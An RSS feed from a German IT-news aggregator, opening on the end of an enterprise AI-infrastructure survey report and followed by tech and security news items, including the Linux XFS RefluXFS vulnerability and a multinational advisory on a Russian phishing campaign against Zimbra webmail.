smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[Building trade assistant: How Jefferies optimized front office trading operations with AI]]></title>
<description><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs)...]]></description>
<link>https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689760/ai-nachrichten/building-trade-assistant-how-jefferies-optimized-front-office-trading-operations-with-ai/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we explore how Jefferies overcame these challenges with a solution built on Strands Agents, an agent harness SDK for building AI agents that can reason, plan, and act by orchestrating calls to foundation models (FMs) and external tools. The solution uses large language models (LLMs), Amazon Bedrock, and Amazon Bedrock Knowledge Bases. It also uses Model Context Protocol (MCP), an open standard that helps AI agents securely connect to diverse data sources and tools through a unified interface. We cover the solution overview, the rationale for selecting the underlying technology stack, lessons learned, and the business impact the solution created at Jefferies.]]></content:encoded>
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<title><![CDATA[Goodbye SMS or phone calls — Microsoft is making passkeys the default authentication process for businesses]]></title>
<description><![CDATA[Microsoft says SMS and phone call authentication isn't up to the task anymore – and urges businesses to adopt passkeys.]]></description>
<link>https://tsecurity.de/de/3689745/it-nachrichten/goodbye-sms-or-phone-calls-microsoft-is-making-passkeys-the-default-authentication-process-for-businesses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689745/it-nachrichten/goodbye-sms-or-phone-calls-microsoft-is-making-passkeys-the-default-authentication-process-for-businesses/</guid>
<pubDate>Thu, 23 Jul 2026 18:53:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft says SMS and phone call authentication isn't up to the task anymore – and urges businesses to adopt passkeys.]]></content:encoded>
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<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689585/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:59:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Linux XFS has a decade-old race condition allowing full root access]]></title>
<description><![CDATA[Linux systems using the XFS filesystem suffer from a race condition that could enable an unprivileged local user to gain full root access.



The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without ...]]></description>
<link>https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689584/it-security-nachrichten/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access/</guid>
<pubDate>Thu, 23 Jul 2026 17:58:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Linux systems using the XFS <a href="https://www.networkworld.com/article/3631604/linux-filesystems-ext4-btrfs-xfs-zfs-and-more.html">filesystem</a> suffer from a race condition that could enable an unprivileged local user to gain full root access.</p>



<p class="wp-block-paragraph">The flaw affects systems with Linux kernel 4.11 or later that have enabled the XFS feature reflink, which permits the creation of copies of a file without actually copying its data.</p>



<p class="wp-block-paragraph">According to Qualys Threat Research Unit (TRU), there was a way around the file write protections reflink depends on. The bypass has existed in kernel versions since 2017 before a <a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=e705d81a7193dd19e69b8e2bad4696d78a4ea075" target="_blank" rel="noreferrer noopener">patch was made available</a> last week.</p>



<p class="wp-block-paragraph">“Using this vulnerability, a process running as an ordinary, unprivileged user can trigger the flaw and gain the ability to overwrite any readable file on an XFS volume at the block layer,” <a href="https://www.linkedin.com/in/saeedabbasi/" target="_blank" rel="noreferrer noopener">Saeed Abbasi</a>, head of Qualys TRU, said in a blog post about the vulnerability, which he calls  <a href="https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600" target="_blank" rel="noreferrer noopener">RefluXFS</a>. “Exploitation is highly reliable and leaves no kernel log output.”</p>



<p class="wp-block-paragraph">Qualys estimated that the issue affects more than 16.4 million systems, primarily enterprise Linux deployments that use XFS with reflink enabled by default.</p>



<h2 class="wp-block-heading">Race winner gets root in buggy file operation</h2>



<p class="wp-block-paragraph">The vulnerability, tracked as <a href="https://www.cve.org/CVERecord?id=CVE-2026-64600" target="_blank" rel="noreferrer noopener">CVE-2026-64600</a>, stemmed from the way XFS handles copy-on-write operations for reflinked files. Normally, when two files share the same storage block, as in the case of an original file and the reflinked clone, XFS allocates a new storage block before any data modification, so the original file remains unchanged.</p>



<p class="wp-block-paragraph">However, a race condition occurs when two concurrent writes on the reflink file are initiated, confusing the filesystem into modifying the original file. “The change is made directly on disk, persists across reboots, and produces no kernel log output,” Qualys said in an <a href="https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt" target="_blank" rel="noreferrer noopener">advisory</a>.</p>



<p class="wp-block-paragraph">The issue is exploitable when Linux 4.11+, XFS with reflink enabled, and a shared filesystem layout are all present. It is assigned a high severity CVSS of 7.8 out of 10 as an exploit only needs read access to a target file before creating a reflink clone under a writable directory on the same XFS filesystem.</p>



<h2 class="wp-block-heading">Linux distributions affected by RefluXFS</h2>



<p class="wp-block-paragraph">The vulnerability has been present in every mainline and stable Linux kernel since the release of version 4.11 in 2017, and requires no special capabilities or non-default configurations, Qualys said.</p>



<p class="wp-block-paragraph">Affected Linux distributions include RHEL 8,9 and 10, CentOS Stream 8,9, and 10, Oracle Linux 8,9,10, Rocky and AlmaLinux 8,9, and 10, CloudLinux 8,9, and 10, Amazon Linux 2023 and Amazon Linux 2 AMIs from December 2022 onward, Fedora Server 31+, and Debian, Ubuntu and SUSE installations where XFS was manually selected.</p>



<p class="wp-block-paragraph">Usual kernel hardening practices, including memory protection features like <a href="https://www.csoonline.com/article/559839/self-protection-is-key-to-linux-kernel-security.html">Kernel Address Space Layout Randomization</a> (KASLR), Supervisor Mode Access Prevention (SMAP), and Supervisor Mode Execution Prevention (SMEP), are ineffective as they are all aimed at different attack surfaces. Even a kernel lockdown does nothing to stop the affected path, Qualys noted.</p>



<p class="wp-block-paragraph">“SELinux doesn’t block the affected path in testing, and seccomp profiles are no barrier as long as they permit write and ioctl, which ordinary profiles do,” Abbasi explained. Immediate kernel patching and a full reboot are the only reliable mitigations, he added.</p>



<p class="wp-block-paragraph">A fix was merged into the upstream Linux kernel source tree on July 16 as commit “2f4acd0,” after which Linux distributions began backporting the patch into their own supported kernel releases.</p>



<p class="wp-block-paragraph">Organizations running affected XFS deployments should apply their Linux vendor’s latest kernel updates and reboot affected systems once fixed kernels become available.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.networkworld.com/article/4200802/linux-xfs-has-a-decade-old-race-condition-allowing-full-root-access.html">Network World</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography]]></title>
<description><![CDATA[Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends & Insights Read the original article: From…...]]></description>
<link>https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689511/it-security-nachrichten/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/</guid>
<pubDate>Thu, 23 Jul 2026 17:41:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Post-Quantum Cryptography is moving from policy discussion to operational priority. Learn how organizations can begin building visibility, reducing risk, and preparing for crypto-agile migration.        This article has been indexed from Industry Trends &amp; Insights Read the original article: From…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/from-awareness-to-action-helping-organizations-prepare-for-post-quantum-cryptography/">From Awareness to Action: Helping Organizations Prepare for Post-Quantum Cryptography</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The Meter Was Always Running]]></title>
<description><![CDATA[The first expensive agent run doesn’t look like a governance problem. It looks like a billing problem. A team opens its first agent invoice after the meter turns on, sorts the runs by cost, and finds one that cost 40 times the median. The provider meter shows tokens and a total. The application l...]]></description>
<link>https://tsecurity.de/de/3689450/ai-nachrichten/the-meter-was-always-running/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689450/ai-nachrichten/the-meter-was-always-running/</guid>
<pubDate>Thu, 23 Jul 2026 17:06:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The first expensive agent run doesn’t look like a governance problem. It looks like a billing problem. A team opens its first agent invoice after the meter turns on, sorts the runs by cost, and finds one that cost 40 times the median. The provider meter shows tokens and a total. The application logs say […]]]></content:encoded>
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<title><![CDATA[The new Halo remake is a reminder of what Xbox used to be]]></title>
<description><![CDATA[It's impossible to talk about a new Xbox game without also talking about the state of Xbox. Microsoft's gaming division is in freefall: Recent headlines are dominated by extensive layoffs, decimated studios, and confusing strategies, most of which stem from years of bad decisions and expensive ac...]]></description>
<link>https://tsecurity.de/de/3689431/it-nachrichten/the-new-halo-remake-is-a-reminder-of-what-xbox-used-to-be/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689431/it-nachrichten/the-new-halo-remake-is-a-reminder-of-what-xbox-used-to-be/</guid>
<pubDate>Thu, 23 Jul 2026 17:04:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It's impossible to talk about a new Xbox game without also talking about the state of Xbox. Microsoft's gaming division is in freefall: Recent headlines are dominated by extensive layoffs, decimated studios, and confusing strategies, most of which stem from years of bad decisions and expensive acquisitions. But it wasn't always that way. Through its […]]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
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<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
